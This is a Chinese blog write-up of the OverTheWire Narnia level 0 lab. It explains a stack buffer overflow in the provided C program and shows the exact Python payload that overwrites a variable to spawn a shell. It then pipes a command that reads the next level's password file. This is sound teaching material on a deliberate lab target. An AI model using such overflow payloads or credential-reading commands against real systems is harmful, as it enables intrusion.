十分简单的PWN

第一次做pwn题目,缘由在《THE HACKER PLAYBOOK2》中第一章有提及,并且作者带着做了一遍,觉得很有意思,于是记下了自己做的时候的一些理解

说这道题简单是因为,这道题甚至不需要使用调试器,能看懂c语言,对堆栈有基本理解,熟悉Linux基本指令就能做出来。。。

*题目网站


首先登录题目服务器

1
2
3
4
ssh narnia0@narnia.labs.overthewire.org
Password:narnia0
cd
cd /narnia/

ls看到题目文件:narnia0.c

看一下源码

cat narnia0.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include <stdio.h>
#include <stdlib.h>

int main(){
long val=0x41414141;
char buf[20];

printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
printf("Here is your chance: ");
scanf("%24s",&buf);

printf("buf: %s\n",buf);
printf("val: 0x%08x\n",val);

if(val==0xdeadbeef)
system("/bin/sh");
else {
printf("WAY OFF!!!!\n");
exit(1);
}

return 0;
}

读一遍代码,是一个十分简单的C语言程序:

1
2
3
4
5
6
7
8
9
首先对变量val进行赋值,然后申请了一个20字节的字符数组buf

之后输出题目要求,获取用户对数组buf的输入

用户输入后输出用户的输入和val的16进制值

如果val的值与特定的数值匹配,则调用`/bin/sh`

不匹配则输出失败信息

首先,题目要求是把val的值从0x41414141改变成0xdeadbeef

但是程序并没有提供修改val变量的可写入函数

浏览代码,发现第五行变量val被赋值为:0x41414141

查看Ascii码表,算出对应字符串为:AAAA
Ascii码表

在第6行char buf[20]说明程序接受输入的缓冲区长度为20字节

而在第10行scanf()函数允许最多输入长度为24字节,于是造成了缓冲区溢出,溢出的这4个字节就是达成目的的关键

测试一下输入24个字节后溢出的四个字节会造成什么样的后果

运行程序:

1
2
3
narnia0@narnia:/narnia$ ./narnia0        
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance:

在这里程序在等待用户输入,也就是执行到了 scanf("%24s",&buf)函数

输入20个A 加上BCDE来测试

1
2
3
4
Here is your chance: AAAAAAAAAAAAAAAAAAAABCDE
buf: AAAAAAAAAAAAAAAAAAAABCDE
val: 0x45444342
WAY OFF!!!!

输出了val: 0x45444342 而对应的ascii即是EDCB,这说明可以修改内存中val的值!溢出的四个字节覆盖到了val

注意这里的顺序,输入的最后是BCDE,但显示的顺序是EDCB

因为栈机制是先进后出/后进先出,及如果依次入栈为1234,依次出栈的顺序就是4321,这点十分重要

现在要做的就算把val的值变成0xdeadbeef

注意0xdeadbeef并不是一串字符串,而是一个16进制数,8位的16进制数占4个字节

所以在输入的时候顺序要为:\xef\xbe\xad\xdeA*20+\xef\xbe\xad\xde

如何获得这串16进制数\xef\xbe\xad\xde对应的字符串呢?

在Python中,可以使用\x对字符串进行转义,把输入的字符串当成16进制输出对应的字符

如:

1
2
>>> print "\x41"
>>> A

及输出了16进制数41对应的Ascii字符A

那么输出\xef\xbe\xad\xde对应的字符即:

1
2
>>>print "\xef\xbe\xad\xde"
>>>ᆳ�

但是由于各种奇怪的编码问题这个不存在的字符串你是不可能读懂的,即使能也会是乱码,因为根本没有字符去对应那串16进制码,但是计算机能懂就够了

于是需要用到Linux中的“管道”功能,即把一个程序的输出作为另一个程序的输入

例如:netstat -an | grep 445
netstat -an会列出所有端口,而grep 445则会进行筛选,只保留有445这个字符串的结果

同理,如果要把Python程序的输出结果当做题目程序的输入,同样需要这个技巧

1
2
3
4
5
narnia0@narnia:/narnia$ python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef

这句话: python -c 'print "A"*20 + "\xef\xbe\xad\xde"' | ./narnia0

因为在这里不需要进入交互模式,python -c 'xxx'命令会直接执行单引号中的代码,而不是在交互中进行
如果不加-c参数,直接执行python xxxxx ,系统则会去匹配当前目录下的xxxxx文件试图去用Python解释器执行

|即为管道,把|左边的输出结果当做输入传递给|右边的程序

这时看变量val的值,已经变成了0xdeadbeef,多出的四个字节成功覆盖在了内存中变量val储存的位置

再次查看C语言代码

1
2
1.  `if(val==0xdeadbeef)`
2. `system("/bin/sh");`

如果val的值变成了0xdeadbeef,程序将会调用/bin/sh

第二题的密码在etc/narnia_pass/narnia1 如果直接查看会提示权限不够

因此运行Python代码同时读取位于etc/narnia_pass/narnia1中的密钥:

1
2
3
4
5
narnia0@narnia:/narnia$ (python -c 'print "A"*20 + "\xef\xbe\xad\xde"';echo 'cat /etc/narnia_pass/narnia1') | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ�
val: 0xdeadbeef
efeidiedae

成功显示出了密钥,即下一道题的ssh密码


⬆︎TOP